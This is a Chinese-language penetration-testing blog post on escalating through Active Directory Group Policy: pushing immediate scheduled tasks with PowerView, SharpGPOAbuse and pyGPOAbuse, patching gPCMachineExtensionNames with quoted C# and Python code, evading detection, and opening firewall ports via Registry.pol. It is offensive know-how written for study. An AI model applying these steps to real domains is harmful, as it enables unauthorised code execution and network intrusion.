域环境权限提升中组策略的简单使用

gclome

原文链接：域环境权限提升中组策略的简单使用

Group Policy Objects 是用于存储 Active Directory 中的策略，便于管理域中的计算机和用户。值得注意的是，默认情况，域用户的组策略是 90 分钟更新一次，有 0-30 分钟的随机偏移，域控的则为 5 分钟更新一次。通过组策略可以下发计划任务，更新防火墙配置等等操作。


​
图形化下发组策略

在域控上通过组策略管理工具可以轻松的建立一个组策略，并且设定该组策略对特定组生效。此处以建立一个计划任务为例，简单演示如何建立组策略。
不同类型的组策略会生成不同的配置文件，如：计划任务的 schedule.xml，防火墙的 registry.pol。

​

命令行下通过组策略下发计划任务
通过上文所介绍的可以发现，域控下发组策略后实质上的内容是各个配置文件里的内容，通过替换已有的配置文件就可以完成下发特定的计划任务。总的来说，命令行下通过组策略下发计划任务有三种。
1.新建一个组策略
PowerView 中的 "New-GPOImmediateTask" 就可以完成组策略的创建，并执行一个立即执行的计划任务。比较简单，不展开说明。
2.修改已有的计划任务组策略
查找域中已有的计划任务组策略，然后修改 schedule.xml，并更新 GPT.ini 里的版本信息，而后等待或者手动输入 "gpupdate"。也比较简单。
3.修改已有的组策略
这条似乎和 2 是一样的，但其实不一样。2 是指得是一个组策略中本来就包含有计划任务，而 3 说的是一个组策略中本身并无计划任务，例如是一个防火墙组策略。此时会发现通过添加 schedule.xml 文件的方式，加入的计划任务并不生效，三好学生师傅提及过此问题：

https://3gstudent.github.io/backup-3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/)。

三好学生师傅的解决方案是通过备份正常的组策略，然后提取里面的"注册信息"添加进自定义的组策略计划任务之中。但通过自己的实践发现，不成功的原因是出在gPCMachineExtensionNames。
gPCMachineExtensionNames 必须设置成与我们修改的相应的 GUID。GUID 列表：

https://blogs.technet.microsoft.com/mempson/2010/12/01/group-policy-client-side-extension-list/

F-secure 给出示例代码，是通过 C# 编写的，其中的功能之一就是添加一个立即运行的计划任务:

https://labs.f-secure.com/tools/sharpgpoabuse

​

在添加gPCMachineExtensionNames存在一定的细节，具体代码如下。

1. 
   
2.             // update gPCMachineExtensionNames
   
3.                 String val1 = "";
   
4.                 String val2 = "";
   
5.                 if (function == "AddLocalAdmin" || function == "AddNewRights" || function == "NewStartupScript")
   
6. {
   
7.                     if (function == "AddLocalAdmin" || function == "AddNewRights")
   
8. {
   
9.                         val1 = "827D319E-6EAC-11D2-A4EA-00C04F79F83A";
   
10.                         val2 = "803E14A0-B4FB-11D0-A0D0-00A0C90F574B";
    
11.                     }
    
12.                     if (function == "NewStartupScript")
    
13. {
    
14.                         val1 = "42B5FAAE-6536-11D2-AE5A-0000F87571E3";
    
15.                         val2 = "40B6664F-4972-11D1-A7CA-0000F87571E3";
    
16.                     }
    
17.                     try
    
18.                     {
    
19.                         if (!entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val2))
    
20.                         {
    
21.                             if (entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val1))
    
22.                             {
    
23.                                 string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
    
24.                                 //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent);
    
25.                                 List<string> new_values = new List<string>();
    
26.                                 String addition = val2;
    
27.                                 var test = ent.Split('[');
    
28.                                 foreach (string i in test)
    
29.                                 {
    
30.                                     new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
    
31.                                 }
    
32.                                 //new_values.Add(addition);
    
33.                                 for (var i = 1; i < new_values.Count; i++)
    
34.                                 {
    
35.                                     if (new_values[i].Contains(val1))
    
36.                                     {
    
37.                                         //Console.WriteLine(new_values[i]);
    
38.                                         List<string> toSort = new List<string>();
    
39.                                         string[] test2 = new_values[i].Split();
    
40.                                         for (var f = 1; f < test2.Length; f++)
    
41.                                         {
    
42.                                             //Console.WriteLine(test2[f]);
    
43.                                             toSort.Add(test2[f]);
    
44.                                         }
    
45.                                         toSort.Add(addition);
    
46.                                         toSort.Sort();
    
47.                                         new_values[i] = test2[0];
    
48.                                         foreach (string val in toSort)
    
49.                                         {
    
50.                                             new_values[i] += " " + val;
    
51.                                         }
    
52.                                     }
    
53.                                 }
    
54.                                 List<string> new_values2 = new List<string>();
    
55.                                 for (var i = 0; i < new_values.Count; i++)
    
56.                                 {
    
57.                                     if (string.IsNullOrEmpty(new_values[i])) { continue; }
    
58.                                     string[] value1 = new_values[i].Split();
    
59.                                     string new_val = "";
    
60.                                     for (var q = 0; q < value1.Length; q++)
    
61.                                     {
    
62.                                         if (string.IsNullOrEmpty(value1[q])) { continue; }
    
63.                                         new_val += "{" + value1[q] + "}";
    
64.                                     }
    
65.                                     new_val = "[" + new_val + "]";
    
66.                                     new_values2.Add(new_val);
    
67.                                 }
    
68.                                 String final = string.Join("", new_values2.ToArray());
    
69.                                 //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final);
    
70.                                 entryToUpdate.Properties[gPCExtensionName].Value = final;
    
71.                             }
    
72.                             else
    
73.                             {
    
74.                                 string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
    
75.                                 //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent);
    
76.                                 List<string> new_values = new List<string>();
    
77.                                 String addition = val1 + " " + val2;
    
78.                                 var test = ent.Split('[');
    
79.                                 foreach (string i in test)
    
80.                                 {
    
81.                                     new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
    
82.                                 }
    
83.                                 new_values.Add(addition);
    
84.                                 new_values.Sort();
    
85.                                 List<string> new_values2 = new List<string>();
    
86.                                 for (var i = 0; i < new_values.Count; i++)
    
87.                                 {
    
88.                                     if (string.IsNullOrEmpty(new_values[i])) { continue; }
    
89.                                     string[] value1 = new_values[i].Split();
    
90.                                     string new_val = "";
    
91.                                     for (var q = 0; q < value1.Length; q++)
    
92.                                     {
    
93.                                         if (string.IsNullOrEmpty(value1[q])) { continue; }
    
94.                                         new_val += "{" + value1[q] + "}";
    
95.                                     }
    
96.                                     new_val = "[" + new_val + "]";
    
97.                                     new_values2.Add(new_val);
    
98.                                 }
    
99.                                 String final = string.Join("", new_values2.ToArray());
    
100.                                 //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final);
     
101.                                 entryToUpdate.Properties[gPCExtensionName].Value = final;
     
102.                             }
     
103.                         }
     
104.                         else
     
105.                         {
     
106.                             //Console.WriteLine("[!] DEBUG: the value of gPCMachineExtensionNames was already set.");
     
107.                         }
     
108.                     }
     
109.                     // the following will execute when the gPCMachineExtensionNames is <not set>
     
110.                     catch
     
111.                     {
     
112.                         entryToUpdate.Properties[gPCExtensionName].Value = "[{" + val1 + "}{" + val2 + "}]";
     
113.                     }
     
114.                 }

复制代码

需要注意的是 SharpGPOAbuse 修改了目标组策略的gPCMachineExtensionNames，所以在完成计划任务执行的时候，应该将组策略还原回去，但该项目并没有提供该功能。

这里比较推荐的是 pyGPOAbuse ：

https://github.com/Hackndo/pyGPOAbuse

这个项目，实现上使用了 Impacket 库，可以通过流量代理的方式进行利用。这样的好处是利用工具可以不用落地目标机器，规避检测。同样的在添加gPCMachineExtensionNames是遵循一定规则，具体不展开讲。

1. def update_extensionNames(self, extensionName):
   
2.         val1 = "00000000-0000-0000-0000-000000000000"
   
3.         val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
   
4.         val3 = "AADCED64-746C-4633-A97C-D61349046527"
   
5.         if extensionName is None:
   
6.             extensionName = ""
   
7.         try:
   
8.             if not val2 in extensionName:
   
9.                 new_values = []
   
10.                 toUpdate = extensionName
    
11.                 test = toUpdate.split("[")
    
12.                 for i in test:
    
13.                     new_values.append(i.replace("{", "").replace("}", " ").replace("]", ""))
    
14.                 if val1 not in toUpdate:
    
15.                     new_values.append(val1 + " " + val2)
    
16.                 elif val1 in toUpdate:
    
17.                     for k, v in enumerate(new_values):
    
18.                         if val1 in new_values[k]:
    
19.                             toSort = []
    
20.                             test2 = new_values[k].split()
    
21.                             for f in range(1, len(test2)):
    
22.                                 toSort.append(test2[f])
    
23.                             toSort.append(val2)
    
24.                             toSort.sort()
    
25.                             new_values[k] = test2[0]
    
26.                             for val in toSort:
    
27.                                 new_values[k] += " " + val
    
28.                 if val3 not in toUpdate:
    
29.                     new_values.append(val3 + " " + val2)
    
30.                 elif val3 in toUpdate:
    
31.                     for k, v in enumerate(new_values):
    
32.                         if val3 in new_values[k]:
    
33.                             toSort = []
    
34.                             test2 = new_values[k].split()
    
35.                             for f in range(1, len(test2)):
    
36.                                 toSort.append(test2[f])
    
37.                             toSort.append(val2)
    
38.                             toSort.sort()
    
39.                             new_values[k] = test2[0]
    
40.                             for val in toSort:
    
41.                                 new_values[k] += " " + val
    
42.                 new_values.sort()
    
43.                 new_values2 = []
    
44.                 for i in range(len(new_values)):
    
45.                     if new_values[i] is None or new_values[i] == "":
    
46.                         continue
    
47.                     value1 = new_values[i].split()
    
48.                     new_val = ""
    
49.                     for q in range(len(value1)):
    
50.                         if value1[q] is None or value1[q] == "":
    
51.                             continue
    
52.                         new_val += "{" + value1[q] + "}"
    
53.                     new_val = "[" + new_val + "]"
    
54.                     new_values2.append(new_val)
    
55.                 return "".join(new_values2)
    
56.         except:
    
57.             return "[{" + val1 + "}{" + val2 + "}]" + "[{" + val3 + "}{" + val2 + "}]"

复制代码

​
组策略下发防火墙策略

一个场景，已有域控权限，但由于域防火墙的存在无法访问目标组或者人的机器。此时就可以用组策略来下发防火墙策略。组策略的防火墙配置文件存放于对应组策略文件夹中的registry.pol中

​

可以用两种方式来修改这个文件，一种是将目标文件下载回来，放到自己的域环境下修改，保存后，再放回目标域控。

​

第二种是通过LGPO.exe将Registry.pol文件解析成文本文件，然后修改后还原成Registry.pol文件。

​

然后按照格式辑文本文件，红框中是新增的开放445的测试。接着还原成Registry.pol导入域控 。就可以看到新增的防火墙策略了。

​

​

总结


简单总结一下：

•         有域控权限，才可以利用 GPO。
•         GPO 不仅可以计划任务还可以操作防火墙等其他功能。
•         找到想要针对的目标组所含有的组策略。
•         记得修改gPCMachineExtensionNames，这个就类似文件的拓展名，没有加对拓展利用无法成功。
•         记得修改 GPT.ini 版本号，版本没更新的情况下域用户不会强制同步更新组策略。
•         善用 LDAP 查询域内信息。
  

潦草一记录，很多细节没有展开。
​


​